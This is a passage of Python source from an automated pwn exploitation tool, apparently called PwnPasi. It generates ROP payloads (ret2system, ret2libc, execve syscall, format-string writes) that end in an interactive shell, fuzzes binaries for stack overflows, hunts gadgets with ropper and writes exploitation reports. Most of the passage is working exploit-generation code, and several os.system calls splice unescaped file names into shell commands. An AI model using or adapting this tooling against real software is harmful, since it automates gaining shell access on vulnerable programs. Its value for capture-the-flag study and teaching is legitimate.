228 | payload = padding
229 | payload += p64(pop_rdi_addr) # pop rdi; ret
230 | payload += p64(bin_sh_addr) # "/bin/sh" address
231 | payload += p64(ret_addr) # ret gadget for stack alignment
232 | payload += p64(system_addr) # system() address
233 | """
234 | else:
235 | base_code += f"""# Construct payload for ret2system x32
236 | padding = b'A' * {exploit_info['padding']}
237 | payload = padding
238 | payload += p32(system_addr) # system() address
239 | payload += p32(0x0) # return address (dummy)
240 | payload += p32(bin_sh_addr) # "/bin/sh" address
241 | """
242 |
243 | elif 'ret2libc' in exploit_type and 'write' in exploit_type:
244 | if 'x64' in exploit_type:
245 | base_code += f"""# Construct payload for ret2libc write x64
246 | padding = b'A' * {exploit_info['padding']}
247 | payload = padding
248 | payload += p64(pop_rdi_addr) # pop rdi; ret
249 | payload += p64(1) # stdout fd
250 | payload += p64(pop_rsi_addr) # pop rsi; ret
251 | payload += p64(write_got) # write@got address
252 | payload += p64(ret_addr) # ret gadget
253 | payload += p64(write_plt) # write@plt
254 | payload += p64(main_addr) # return to main for second stage
255 | """
256 | else:
257 | base_code += f"""# Construct payload for ret2libc write x32
258 | padding = b'A' * {exploit_info['padding']}
259 | payload = padding
260 | payload += p32(write_plt) # write@plt
261 | payload += p32(main_addr) # return to main
262 | payload += p32(1) # stdout fd
263 | payload += p32(write_got) # write@got address
264 | payload += p32(4) # bytes to write
265 | """
266 |
267 | elif 'format string' in exploit_type:
268 | base_code += f"""# Format string exploitation
269 | offset = {exploit_info.get('offset', 'OFFSET_VALUE')}
270 | buf_addr = {exploit_info['addresses'].get('buf_addr', 'BUF_ADDRESS')}
271 | system_addr = {exploit_info['addresses'].get('system_addr', 'SYSTEM_ADDRESS')}
272 |
273 | # Construct format string payload
274 | payload = fmtstr_payload(offset, {{buf_addr: system_addr}})
275 | """
276 |
277 | elif 'execve syscall' in exploit_type:
278 | base_code += f"""# Construct payload for execve syscall
279 | padding = b'A' * {exploit_info['padding']}
280 | payload = padding
281 | payload += p32(pop_eax_addr) # pop eax; ret
282 | payload += p32(0xb) # execve syscall number
283 | payload += p32(pop_ebx_addr) # pop ebx; ret
284 | payload += p32(bin_sh_addr) # "/bin/sh" address
285 | payload += p32(pop_ecx_addr) # pop ecx; ret
286 | payload += p32(0x0) # argv = NULL
287 | payload += p32(pop_edx_addr) # pop edx; ret
288 | payload += p32(0x0) # envp = NULL
289 | payload += p32(int_0x80) # int 0x80
290 | """
291 |
292 | else:
293 | # Generic payload construction
294 | base_code += f"""# Construct payload
295 | padding = b'A' * {exploit_info['padding']}
296 | payload = padding
297 | payload += {repr(exploit_info['payload']) if isinstance(exploit_info['payload'], bytes) else repr(str(exploit_info['payload']))}
298 | """
299 |
300 | # Add exploitation execution
301 | base_code += f"""
302 | # Send payload
303 | io.sendline(payload)
304 |
305 | # Get shell
306 | io.interactive()
307 | """
308 |
309 | return base_code
310 |
311 | def generate_docx_report():
312 | """Generate DOCX exploitation report"""
313 | global exploit_info
314 |
315 | if not exploit_info['success']:
316 | return
317 |
318 | try:
319 | # Extract target binary name without path and extension
320 | target_name = os.path.basename(exploit_info['target_binary'])
321 | if target_name.startswith('./'):
322 | target_name = target_name[2:]
323 | target_name = os.path.splitext(target_name)[0]
324 |
325 | # Generate report filename
326 | report_filename = f"{target_name}_wp.docx"
327 |
328 | # Create document
329 | doc = Document()
330 |
331 | # Add title
332 | title = doc.add_heading('PWN Exploitation Report', 0)
333 | title.alignment = WD_ALIGN_PARAGRAPH.CENTER
334 |
335 | # Add basic information
336 | doc.add_heading('Basic Information', level=1)
337 | basic_info = doc.add_paragraph()
338 | basic_info.add_run('Target Binary: ').bold = True
339 | basic_info.add_run(f"{exploit_info['target_binary']}\n")
340 | basic_info.add_run('Exploitation Time: ').bold = True
341 | basic_info.add_run(f"{exploit_info['timestamp']}\n")
342 | basic_info.add_run('Architecture: ').bold = True
343 | basic_info.add_run(f"{exploit_info['architecture']}\n")
344 | basic_info.add_run('Vulnerability Type: ').bold = True
345 | basic_info.add_run(f"{exploit_info['vulnerability_type']}\n")
346 | basic_info.add_run('Exploitation Method: ').bold = True
347 | basic_info.add_run(f"{exploit_info['exploit_type']}\n")
348 |
349 | # Add padding information
350 | doc.add_heading('Buffer Overflow Information', level=1)
351 | padding_info = doc.add_paragraph()
352 | padding_info.add_run('Buffer Overflow Padding: ').bold = True
353 | padding_info.add_run(f"{exploit_info['padding']} bytes\n")
354 |
355 | # Add addresses information
356 | if exploit_info['addresses']:
357 | doc.add_heading('Key Address Information', level=1)
358 | addr_table = doc.add_table(rows=1, cols=2)
359 | addr_table.style = 'Table Grid'
360 | hdr_cells = addr_table.rows[0].cells
361 | hdr_cells[0].text = 'Address Type'
362 | hdr_cells[1].text = 'Address Value'
363 |
364 | for addr_type, addr_value in exploit_info['addresses'].items():
365 | row_cells = addr_table.add_row().cells
366 | row_cells[0].text = addr_type
367 | # Convert address to hexadecimal format
368 | if isinstance(addr_value, int):
369 | row_cells[1].text = f"0x{addr_value:x}"
370 | elif isinstance(addr_value, str) and addr_value.isdigit():
371 | row_cells[1].text = f"0x{int(addr_value):x}"
372 | elif isinstance(addr_value, str) and addr_value.startswith('0x'):
373 | row_cells[1].text = addr_value
374 | else:
375 | # Try to convert string representation of number to hex
376 | try:
377 | if 'x' in str(addr_value):
378 | row_cells[1].text = str(addr_value)
379 | else:
380 | row_cells[1].text = f"0x{int(str(addr_value)):x}"
381 | except:
382 | row_cells[1].text = str(addr_value)
383 |
384 | # Add exploitation code information
385 | if exploit_info['payload']:
386 | doc.add_heading('Exploitation Code', level=1)
387 | payload_para = doc.add_paragraph()
388 | payload_para.add_run('Complete Python Exploitation Code:\n').bold = True
389 |
390 | # Generate complete exploitation code based on exploit type
391 | exploitation_code = generate_exploitation_code()
392 |
393 | # Add the exploitation code as code block
394 | payload_para.add_run(f"{exploitation_code}\n")
395 |
396 | # Add payload length
397 | payload_para.add_run('Payload Length: ').bold = True
398 | if isinstance(exploit_info['payload'], bytes):
399 | payload_para.add_run(f"{len(exploit_info['payload'])} bytes\n")
400 | else:
401 | payload_para.add_run(f"{len(str(exploit_info['payload']))} characters\n")
402 |
403 | # Add exploitation summary
404 | doc.add_heading('Exploitation Summary', level=1)
405 | summary_para = doc.add_paragraph()
406 | summary_para.add_run('Exploitation Status: ').bold = True
407 | summary_para.add_run('Successful\n')
408 | summary_para.add_run('Exploitation Method: ').bold = True
409 | summary_para.add_run(f"Successfully gained shell access through {exploit_info['vulnerability_type']} vulnerability using {exploit_info['exploit_type']} technique.\n")
410 |
411 | # Add footer
412 | doc.add_paragraph('\n' + '─' * 50)
413 | footer_para = doc.add_paragraph()
414 | footer_para.add_run('Report Generation Tool: ').bold = True
415 | footer_para.add_run(f"PwnPasi v{VERSION}\n")
416 | footer_para.add_run('Generation Time: ').bold = True
417 | footer_para.add_run(f"{datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S')}")
418 |
419 | # Save document
420 | doc.save(report_filename)
421 | print_success(f"Exploitation report generated: {Colors.YELLOW}{report_filename}{Colors.END}")
422 |
423 | except Exception as e:
424 | print_error(f"Failed to generate report: {e}")
425 |
426 | def handle_exploitation_success(exploit_type, payload, padding, addresses, vulnerability_type, architecture):
427 | """Handle successful exploitation by updating info and generating report"""
428 | update_exploit_info('exploit_type', exploit_type)
429 | update_exploit_info('payload', payload.hex() if hasattr(payload, 'hex') else str(payload))
430 | update_exploit_info('padding', padding)
431 | update_exploit_info('addresses', addresses)
432 | update_exploit_info('vulnerability_type', vulnerability_type)
433 | update_exploit_info('architecture', architecture)
434 | update_exploit_info('success', True)
435 |
436 | print_critical("EXPLOITATION SUCCESSFUL! Dropping to shell...")
437 |
438 | # Generate DOCX report
439 | generate_docx_report()
440 |
441 | def set_permission(program):
442 | """Set executable permissions for the program"""
443 | try:
444 | os.system(f"chmod +755 {program}")
445 | return True
446 | except Exception as e:
447 | print_error(f"Failed to set permissions: {e}")
448 | return False
449 |
450 | def add_current_directory_prefix(program):
451 | """Add ./ prefix if not present"""
452 | if not program.startswith('./'):
453 | program = os.path.join('.', program)
454 | return program
455 |
456 | def detect_libc(program):
457 | """Detect libc path automatically"""
458 | print_info("detecting libc path automatically")
459 | libc_path = None
460 |
461 | try:
462 | os.system(f"ldd {program} | awk '{{$1=$1; print}}' > libc_path.txt")
463 |
464 | with open("libc_path.txt", "r") as file:
465 | for line in file:
466 | if 'libc.so.6' in line:
467 | parts = line.split('=>')
468 | if len(parts) > 1:
469 | libc_path = parts[1].strip().split()[0]
470 | print_success(f"libc path detected: {Colors.YELLOW}{libc_path}{Colors.END}")
471 | break
472 |
473 | if not libc_path:
474 | print_warning("libc path not found in ldd output")
475 |
476 | except Exception as e:
477 | print_error(f"failed to detect libc: {e}")
478 |
479 | return libc_path
480 |
481 | def ldd_libc(program):
482 | """Automatically detect libc path using ldd command"""
483 | libc_path = None
484 |
485 | try:
486 | # Use ldd to get library information
487 | result = subprocess.run(['ldd', program], capture_output=True, text=True)
488 | if result.returncode == 0:
489 | for line in result.stdout.split('\n'):
490 | if 'libc.so.6' in line:
491 | parts = line.split('=>')
492 | if len(parts) > 1:
493 | libc_path = parts[1].strip().split()[0]
494 | print_info(f"automatically detected libc: {Colors.YELLOW}{libc_path}{Colors.END}")
495 | break
496 |
497 | if not libc_path:
498 | print_warning("libc path not found automatically")
499 |
500 | except Exception as e:
501 | print_error(f"failed to detect libc: {e}")
502 |
503 | return libc_path
504 |
505 | def Information_Collection(program):
506 | """Collect binary information using checksec"""
507 | try:
508 | # Run checksec command
509 | result = subprocess.run(['checksec', program], capture_output=True, text=True)
510 | content = result.stdout
511 |
512 | info_dict = {}
513 |
514 | # Parse architecture
515 | arch_match = re.search(r"Arch:\s+(\S+)", content)
516 | if arch_match:
517 | arch = arch_match.group(1)
518 | if '64' in arch:
519 | info_dict['bit'] = 64
520 | bit = 64
521 | elif '32' in arch:
522 | info_dict['bit'] = 32
523 | bit = 32
524 |
525 | # Parse security features
526 | keys = ['RELRO', 'Stack', 'NX', 'PIE', 'Stripped', 'RWX']
527 | for key in keys:
528 | if key in content:
529 | for line in content.split('\n'):
530 | if key in line and ':' in line:
531 | info_dict[key] = line.split(":")[1].strip()
532 | break
533 |
534 | # Determine stack protection
535 | stack = 0
536 | if 'Stack' in info_dict:
537 | if info_dict['Stack'] == 'No canary found':
538 | stack = 0
539 | elif info_dict['Stack'] == 'Canary found':
540 | stack = 1
541 | elif info_dict['Stack'] == 'Executable':
542 | stack = 2
543 |
544 | # Determine RWX segments
545 | rwx = 0
546 | if 'RWX' in info_dict:
547 | if info_dict['RWX'] == 'Has RWX segments':
548 | rwx = 1
549 |
550 | # Determine PIE
551 | pie = None
552 | if 'PIE' in info_dict:
553 | if info_dict['PIE'] == 'PIE enabled':
554 | pie = 1
555 |
556 | # Display information
557 | for key, value in info_dict.items():
558 | print_info(f"{key}: {Colors.YELLOW}{value}{Colors.END}")
559 |
560 | return stack, rwx, bit, pie
561 |
562 | except Exception as e:
563 | print_error(f"failed to collect binary information: {e}")
564 | return 0, 0, 32, None
565 |
566 | def collect_binary_info(program):
567 | """Collect comprehensive binary information"""
568 | print_info("collecting binary information")
569 |
570 | try:
571 | os.system(f"checksec {program} > Information_Collection.txt 2>&1")
572 |
573 | with open("Information_Collection.txt", 'r') as f:
574 | content = f.readlines()
575 |
576 | result = {}
577 |
578 | # Parse architecture
579 | arch_match = re.search(r"Arch:\s+(\S+)", "".join(content))
580 | if arch_match:
581 | arch = arch_match.group(1)
582 | result['arch'] = arch
583 | if '64' in arch:
584 | result['bit'] = 64
585 | elif '32' in arch:
586 | result['bit'] = 32
587 |
588 | # Parse security features
589 | security_features = ['RELRO', 'Stack', 'NX', 'PIE', 'Stripped', 'RWX']
590 | for feature in security_features:
591 | for line in content:
592 | if feature in line:
593 | result[feature] = line.split(":")[1].strip()
594 | break
595 |
596 | # Process stack canary
597 | stack_protection = 0
598 | if 'Stack' in result:
599 | if result['Stack'] == 'No canary found':
600 | stack_protection = 0
601 | elif result['Stack'] == 'Canary found':
602 | stack_protection = 1
603 |
604 | # Process RWX segments
605 | rwx_segments = 0
606 | if 'RWX' in result:
607 | if result['RWX'] == 'Has RWX segments':
608 | rwx_segments = 1
609 |
610 | # Process PIE
611 | pie_enabled = 0
612 | if 'PIE' in result:
613 | if result['PIE'] == 'PIE enabled':
614 | pie_enabled = 1
615 |
616 | return result, stack_protection, rwx_segments, result.get('bit', 64), pie_enabled
617 |
618 | except Exception as e:
619 | print_error(f"failed to collect binary information: {e}")
620 | return {}, 0, 0, 64, 0
621 |
622 | def display_binary_info(info_dict):
623 | """Display binary information in a professional table format"""
624 | print_section_header("BINARY SECURITY ANALYSIS")
625 |
626 | # Create table for security features
627 | headers = ["Feature", "Status", "Risk Level"]
628 | print_table_header(headers)
629 |
630 | risk_colors = {
631 | "HIGH": Colors.ERROR,
632 | "MEDIUM": Colors.WARNING,
633 | "LOW": Colors.SUCCESS,
634 | "INFO": Colors.INFO
635 | }
636 |
637 | security_analysis = {
638 | "RELRO": ("MEDIUM" if "Partial" in info_dict.get("RELRO", "") else "LOW", info_dict.get("RELRO", "Unknown")),
639 | "Stack Canary": ("HIGH" if "No canary" in info_dict.get("Stack", "") else "LOW", info_dict.get("Stack", "Unknown")),
640 | "NX Bit": ("HIGH" if "disabled" in info_dict.get("NX", "") else "LOW", info_dict.get("NX", "Unknown")),
641 | "PIE": ("MEDIUM" if "No PIE" in info_dict.get("PIE", "") else "LOW", info_dict.get("PIE", "Unknown")),
642 | "RWX Segments": ("HIGH" if "Has RWX" in info_dict.get("RWX", "") else "LOW", info_dict.get("RWX", "Unknown"))
643 | }
644 |
645 | for feature, (risk, status) in security_analysis.items():
646 | colors = [Colors.END, Colors.END, risk_colors.get(risk, Colors.END)]
647 | print_table_row([feature, status, risk], colors)
648 |
649 | print()
650 |
651 | def find_large_bss_symbols(program):
652 | """Find large BSS symbols suitable for shellcode storage"""
653 | print_info("searching for shellcode storage locations")
654 |
655 | try:
656 | with open(program, 'rb') as f:
657 | elf = ELFFile(f)
658 | symtab = elf.get_section_by_name('.symtab')
659 |
660 | if not symtab:
661 | print_warning("no symbol table found")
662 | return 0, None, None
663 |
664 | for symbol in symtab.iter_symbols():
665 | if (symbol['st_info'].type == 'STT_OBJECT' and symbol['st_size'] > 30):
666 | print_success(f"shellcode storage found: {Colors.YELLOW}{symbol.name}{Colors.END} at {Colors.YELLOW}{hex(symbol['st_value'])}{Colors.END}")
667 | return 1, hex(symbol['st_value']), symbol.name
668 |
669 | print_warning("no suitable shellcode storage locations found")
670 | return 0, None, None
671 |
672 | except Exception as e:
673 | print_error(f"failed to analyze symbols: {e}")
674 | return 0, None, None
675 |
676 | def scan_plt_functions(program):
677 | """Scan and analyze PLT functions"""
678 | print_info("analyzing PLT table and available functions")
679 |
680 | try:
681 | os.system(f"objdump -d {program} > Objdump_Scan.txt 2>&1")
682 | target_functions = ["write", "puts", "printf", "main", "system", "backdoor", "callsystem"]
683 | function_addresses = {}
684 | found_functions = []
685 |
686 | with open("Objdump_Scan.txt", "r") as file:
687 | lines = file.readlines()
688 |
689 | print_section_header("FUNCTION ANALYSIS")
690 | headers = ["Function", "Address", "Available"]
691 | print_table_header(headers)
692 |
693 | for func in target_functions:
694 | found = False
695 | address = "N/A"
696 |
697 | for line in lines:
698 | if f"<{func}@plt>:" in line or f"<{func}>:" in line:
699 | address = line.split()[0].strip(":")
700 | function_addresses[func] = address
701 | found_functions.append(func)
702 | found = True
703 | break
704 |
705 | status = "YES" if found else "NO"
706 | color = Colors.SUCCESS if found else Colors.ERROR
707 | colors = [Colors.END, Colors.YELLOW if found else Colors.END, color]
708 | print_table_row([func, address, status], colors)
709 |
710 | print_info("")
711 | return function_addresses
712 |
713 | except Exception as e:
714 | print_error(f"failed to scan PLT functions: {e}")
715 | return {}
716 |
717 | def set_function_flags(function_addresses):
718 | """Set function availability flags"""
719 | target_functions = ["write", "puts", "printf", "main", "system", "backdoor", "callsystem"]
720 | function_flags = {func: (1 if func in function_addresses else 0) for func in target_functions}
721 | return function_flags
722 |
723 | def find_rop_gadgets_x64(program):
724 | """Find ROP gadgets for x64 architecture"""
725 | print_info("searching for ROP gadgets (x64)")
726 |
727 | gadgets = {
728 | 'pop_rdi': None,
729 | 'pop_rsi': None,
730 | 'ret': None,
731 | 'other_rdi_registers': None,
732 | 'other_rsi_registers': None
733 | }
734 |
735 | try:
736 | # Search for pop rdi gadgets
737 | os.system(f"ropper --file {program} --search 'pop rdi' > ropper.txt --nocolor 2>&1")
738 | os.system(f"ropper --file {program} --search 'pop rsi' >> ropper.txt --nocolor 2>&1")
739 | os.system(f"ropper --file {program} --search 'ret' >> ropper.txt --nocolor 2>&1")
740 |
741 | with open("ropper.txt", "r") as file:
742 | lines = file.readlines()
743 |
744 | print_section_header("ROP GADGETS (x64)")
745 | headers = ["Gadget Type", "Address", "Instruction"]
746 | print_table_header(headers)
747 |
748 | for line in lines:
749 | if '[INFO]' in line:
750 | continue
751 |
752 | if "pop rdi;" in line and "pop rdi; pop" in line:
753 | gadgets['pop_rdi'] = line.split(":")[0].strip()
754 | gadgets['other_rdi_registers'] = 1
755 | print_table_row(["pop rdi (multi)", gadgets['pop_rdi'], "pop rdi; pop ...; ret"], [Colors.END, Colors.YELLOW, Colors.END])
756 |
757 | elif "pop rdi; ret;" in line:
758 | gadgets['pop_rdi'] = line.split(":")[0].strip()
759 | gadgets['other_rdi_registers'] = 0
760 | print_table_row(["pop rdi", gadgets['pop_rdi'], "pop rdi; ret"], [Colors.END, Colors.YELLOW, Colors.END])
761 |
762 | elif "pop rsi;" in line and "pop rsi; pop" in line:
763 | gadgets['pop_rsi'] = line.split(":")[0].strip()
764 | gadgets['other_rsi_registers'] = 1
765 | print_table_row(["pop rsi (multi)", gadgets['pop_rsi'], "pop rsi; pop ...; ret"], [Colors.END, Colors.YELLOW, Colors.END])
766 |
767 | elif "pop rsi; ret;" in line:
768 | gadgets['pop_rsi'] = line.split(":")[0].strip()
769 | gadgets['other_rsi_registers'] = 0
770 | print_table_row(["pop rsi", gadgets['pop_rsi'], "pop rsi; ret"], [Colors.END, Colors.YELLOW, Colors.END])
771 |
772 | elif "ret" in line and "ret " not in line:
773 | gadgets['ret'] = line.split(":")[0].strip()
774 | print_table_row(["ret", gadgets['ret'], "ret"], [Colors.END, Colors.YELLOW, Colors.END])
775 |
776 | print_info("")
777 | return gadgets['pop_rdi'], gadgets['pop_rsi'], gadgets['ret'], gadgets['other_rdi_registers'], gadgets['other_rsi_registers']
778 |
779 | except Exception as e:
780 | print_error(f"failed to find ROP gadgets: {e}")
781 | return None, None, None, None, None
782 |
783 | def find_rop_gadgets_x32(program):
784 | """Find ROP gadgets for x32 architecture"""
785 | print_info("searching for ROP gadgets (x32)")
786 |
787 | gadgets = {
788 | 'pop_eax': None, 'pop_ebx': None, 'pop_ecx': None, 'pop_edx': None,
789 | 'pop_ecx_ebx': None, 'ret': None, 'int_0x80': None
790 | }
791 |
792 | registers_found = {'eax': 0, 'ebx': 0, 'ecx': 0, 'edx': 0}
793 |
794 | try:
795 | print_section_header("ROP GADGETS (x32)")
796 | headers = ["Gadget Type", "Address", "Status"]
797 | print_table_header(headers)
798 |
799 | # Search for each register gadget
800 | register_searches = ['eax', 'ebx', 'ecx', 'edx']
801 |
802 | for reg in register_searches:
803 | os.system(f"ropper --file {program} --search 'pop {reg};' > ropper.txt --nocolor 2>&1")
804 |
805 | with open("ropper.txt", "r") as file:
806 | lines = file.readlines()
807 |
808 | for line in lines:
809 | if '[INFO]' in line:
810 | continue
811 |
812 | if f"pop {reg}; ret;" in line:
813 | address = line.split(":")[0].strip()
814 | gadgets[f'pop_{reg}'] = address
815 | registers_found[reg] = 1
816 | print_table_row([f"pop {reg}", address, "FOUND"], [Colors.END, Colors.YELLOW, Colors.SUCCESS])
817 | break
818 | elif f"pop {reg}" in line and 'pop ebx' in line and reg == 'ecx':
819 | address = line.split(":")[0].strip()
820 | gadgets['pop_ecx_ebx'] = address
821 | registers_found[reg] = 1
822 | print_table_row(["pop ecx; pop ebx", address, "FOUND"], [Colors.END, Colors.YELLOW, Colors.SUCCESS])
823 | break
824 |
825 | if registers_found[reg] == 0:
826 | print_table_row([f"pop {reg}", "N/A", "NOT FOUND"], [Colors.END, Colors.END, Colors.ERROR])
827 |
828 | # Search for ret and int 0x80
829 | os.system(f"ropper --file {program} --search 'ret;' > ropper.txt --nocolor 2>&1")
830 | with open("ropper.txt", "r") as file:
831 | for line in file.readlines():
832 | if '[INFO]' in line:
833 | continue
834 | if "ret" in line and "ret " not in line:
835 | gadgets['ret'] = line.split(":")[0].strip()
836 | print_table_row(["ret", gadgets['ret'], "FOUND"], [Colors.END, Colors.YELLOW, Colors.SUCCESS])
837 | break
838 |
839 | os.system(f"ropper --file {program} --search 'int 0x80;' > ropper.txt --nocolor 2>&1")
840 | with open("ropper.txt", "r") as file:
841 | for line in file.readlines():
842 | if '[INFO]' in line:
843 | continue
844 | if "int 0x80" in line:
845 | gadgets['int_0x80'] = line.split(":")[0].strip()
846 | print_table_row(["int 0x80", gadgets['int_0x80'], "FOUND"], [Colors.END, Colors.YELLOW, Colors.SUCCESS])
847 | break
848 |
849 | print_info("")
850 | return (gadgets['pop_eax'], gadgets['pop_ebx'], gadgets['pop_ecx'], gadgets['pop_edx'],
851 | gadgets['pop_ecx_ebx'], gadgets['ret'], gadgets['int_0x80'],
852 | registers_found['eax'], registers_found['ebx'], registers_found['ecx'], registers_found['edx'])
853 |
854 | except Exception as e:
855 | print_error(f"failed to find ROP gadgets: {e}")
856 | return None, None, None, None, None, None, None, 0, 0, 0, 0
857 |
858 | def test_stack_overflow(program, bit):
859 | """Test for stack overflow vulnerability with progress indication"""
860 | print_info("testing for stack overflow vulnerability")
861 |
862 | char = 'A'
863 | padding = 0
864 | max_test = 10000
865 |
866 | print_section_header("STACK OVERFLOW DETECTION")
867 |
868 | while padding < max_test:
869 | # Update progress every 100 iterations
870 | if padding % 100 == 0:
871 | print_progress(padding, max_test, "Testing overflow")
872 |
873 | input_data = char * (padding + 1)
874 |
875 | try:
876 | process = subprocess.Popen([program], stdin=subprocess.PIPE,
877 | stdout=subprocess.PIPE, stderr=subprocess.PIPE)
878 | stdout, stderr = process.communicate(input=input_data.encode(), timeout=1)
879 |
880 | if process.returncode == -11: # SIGSEGV
881 | alignment = 8 if bit == 64 else 4
882 | final_padding = padding + alignment
883 | print_progress(max_test, max_test, "Testing overflow")
884 | print_success(f"stack overflow detected! Padding: {Colors.YELLOW}{final_padding}{Colors.END} bytes")
885 | return final_padding
886 |
887 | except subprocess.TimeoutExpired:
888 | process.kill()
889 | except Exception:
890 | pass
891 |
892 | padding += 1
893 |
894 | print_progress(max_test, max_test, "Testing overflow")
895 | print_warning("no stack overflow vulnerability detected")
896 | return 0
897 |
898 | def analyze_vulnerable_functions(program, bit):
899 | """Analyze assembly code to find vulnerable functions"""
900 | print_info("analyzing vulnerable functions")
901 |
902 | try:
903 | with open("Objdump_Scan.txt", 'r') as f:
904 | content = f.read()
905 |
906 | func_pattern = r'^[0-9a-f]+ <(\w+)>:(.*?)(?=^\d+ <\w+>:|\Z)'
907 | functions = re.finditer(func_pattern, content, re.MULTILINE | re.DOTALL)
908 |
909 | vulnerable_functions = []
910 |
911 | for func in functions:
912 | func_name = func.group(1)
913 | func_body = func.group(2)
914 |
915 | # Check for dangerous function calls with lea instruction
916 | dangerous_calls = ['read', 'gets', 'fgets', 'scanf']
917 | has_lea = 'lea' in func_body
918 | has_dangerous_call = any(call in func_body for call in dangerous_calls)
919 |
920 | if has_lea and has_dangerous_call:
921 | lea_match = re.search(r'lea\s+(-?0x[0-9a-f]+)\(%[er]bp\)', func_body)
922 | if lea_match:
923 | offset_hex = lea_match.group(1)
924 | offset_dec = abs(int(offset_hex, 16))
925 | alignment = 8 if bit == 64 else 4
926 | padding = offset_dec + alignment
927 |
928 | vulnerable_functions.append({
929 | 'name': func_name,
930 | 'stack_size': offset_dec,
931 | 'padding': padding
932 | })
933 |
934 | if vulnerable_functions:
935 | print_section_header("VULNERABLE FUNCTIONS")
936 | headers = ["Function", "Stack Size", "Padding"]
937 | print_table_header(headers)
938 |
939 | for func in vulnerable_functions:
940 | colors = [Colors.YELLOW, Colors.END, Colors.SUCCESS]
941 | print_table_row([func['name'], f"{func['stack_size']} bytes", f"{func['padding']} bytes"], colors)
942 |
943 | print_info("")
944 | return vulnerable_functions[0]['padding'] # Return first found
945 |
946 | return None
947 |
948 | except Exception as e:
949 | print_error(f"failed to analyze vulnerable functions: {e}")
950 | return None
951 |
952 | def vuln_func_name():
953 | """Find vulnerable function names from objdump scan"""
954 | try:
955 | with open("Objdump_Scan.txt", 'r') as f:
956 | content = f.read()
957 |
958 | functions = re.split(r'\n\n', content.strip())
959 |
960 | results = []
961 | for func in functions:
962 | func_name_match = re.search(r'<([^>]+)>', func)
963 | if not func_name_match:
964 | continue
965 | func_name = func_name_match.group(1)
966 |
967 | has_lea = bool(re.search(r'\s+lea\s', func))
968 | has_call_read = bool(re.search(r'call.*read@plt', func))
969 | has_call_read += bool(re.search(r'call.*gets@plt', func))
970 | has_call_read += bool(re.search(r'call.*fgets@plt', func))
971 | has_call_read += bool(re.search(r'call.*scanf@plt', func))
972 |
973 | if has_lea and has_call_read:
974 | lea_match = re.search(r'lea\s+-\s*(0x[0-9a-f]+)', func)
975 | if lea_match:
976 | results.append(func_name)
977 |
978 | return results
979 | except Exception as e:
980 | print_error(f"failed to find vulnerable function names: {e}")
981 | return []
982 |
983 | def asm_stack_overflow(program, bit):
984 | """Assembly-based stack overflow analysis with padding adjustment"""
985 | print_info("performing assembly-based overflow analysis")
986 |
987 | try:
988 | with open("Objdump_Scan.txt", 'r') as f:
989 | content = f.read()
990 |
991 | func_pattern = r'^[0-9a-f]+ <(\w+)>:(.*?)(?=^\d+ <\w+>:|\Z)'
992 | functions = re.finditer(func_pattern, content, re.MULTILINE | re.DOTALL)
993 |
994 | for func in functions:
995 | func_body = func.group(2)
996 |
997 | # Check for vulnerable patterns
998 | dangerous_calls = ['read', 'gets', 'fgets', 'scanf']
999 | has_lea = 'lea' in func_body
1000 | has_call = 'call' in func_body
1001 | has_dangerous_call = any(call in func_body for call in dangerous_calls)
1002 |
1003 | if has_lea and has_call and has_dangerous_call:
1004 | lea_match = re.search(r'lea\s+(-?0x[0-9a-f]+)\(%[er]bp\)', func_body)
1005 | if lea_match:
1006 | offset_hex = lea_match.group(1)
1007 | offset_dec = abs(int(offset_hex, 16))
1008 |
1009 | if bit == 64:
1010 | padding = offset_dec + 8
1011 | else:
1012 | padding = offset_dec + 4
1013 |
1014 | print_success(f"stack size: {Colors.YELLOW}{offset_dec}{Colors.END} bytes")
1015 | print_success(f"overflow padding adjustment: {Colors.YELLOW}{padding}{Colors.END} bytes")
1016 |
1017 | return padding
1018 |
1019 | return None
1020 |
1021 | except Exception as e:
1022 | print_error(f"failed to perform assembly analysis: {e}")
1023 | return None
1024 |
1025 | def check_binsh_string(program):
1026 | """Check for /bin/sh string in binary"""
1027 | print_info("checking for /bin/sh string")
1028 |
1029 | try:
1030 | os.system(f'strings {program} | grep "/bin/sh" > check_binsh.txt')
1031 |
1032 | with open('check_binsh.txt', 'r') as file:
1033 | content = file.read()
1034 |
1035 | if '/bin/sh' in content:
1036 | print_success("/bin/sh string found in binary")
1037 | return True
1038 | else:
1039 | print_warning("/bin/sh string not found in binary")
1040 | return False
1041 |
1042 | except Exception as e:
1043 | print_error(f"failed to check for /bin/sh string: {e}")
1044 | return False
1045 |
1046 | def check_binsh(program):
1047 | """Check for /bin/sh string in binary (pwnpasi_base.py compatible)"""
1048 | os.system('strings ' + program +' | grep "/bin/sh" > check_binsh.txt')
1049 | with open('check_binsh.txt', 'r') as file:
1050 | content = file.read()
1051 |
1052 | return '/bin/sh' in content
1053 |
1054 | def detect_format_string_vulnerability(program):
1055 | """Detect format string vulnerabilities"""
1056 | print_info("testing for format string vulnerabilities")
1057 |
1058 | test_cases = [
1059 | b"%x" * 20,
1060 | b"%p" * 20,
1061 | b"%s" * 20,
1062 | b"%n" * 5,
1063 | b"AAAA%x%x%x%x",
1064 | b"%99999999s",
1065 | ]
1066 |
1067 | memory_pattern = re.compile(r'(0x[0-9a-fA-F]+)')
1068 | vulnerable = False
1069 |
1070 | print_section_header("FORMAT STRING VULNERABILITY TEST")
1071 | headers = ["Test Case", "Result", "Status"]
1072 | print_table_header(headers)
1073 |
1074 | for i, case in enumerate(test_cases):
1075 | try:
1076 | proc = subprocess.Popen(
1077 | [program],
1078 | stdin=subprocess.PIPE,
1079 | stdout=subprocess.PIPE,
1080 | stderr=subprocess.PIPE,
1081 | )
1082 | stdout, stderr = proc.communicate(input=case, timeout=2)
1083 |
1084 | result = "SAFE"
1085 | color = Colors.SUCCESS
1086 |
1087 | if memory_pattern.search(stdout.decode()):
1088 | result = "VULNERABLE"
1089 | color = Colors.ERROR
1090 | vulnerable = True
1091 |
1092 | if proc.returncode != 0:
1093 | result = "CRASH"
1094 | color = Colors.CRITICAL
1095 | vulnerable = True
1096 |
1097 | case_str = case.decode()[:20] + "..." if len(case) > 20 else case.decode()
1098 | colors = [Colors.END, Colors.END, color]
1099 | print_table_row([case_str, result, "DETECTED" if result != "SAFE" else "NONE"], colors)
1100 |
1101 | except subprocess.TimeoutExpired:
1102 | colors = [Colors.END, Colors.END, Colors.WARNING]
1103 | print_table_row([case.decode()[:20], "TIMEOUT", "POSSIBLE"], colors)
1104 | vulnerable = True
1105 | except Exception as e:
1106 | colors = [Colors.END, Colors.END, Colors.ERROR]
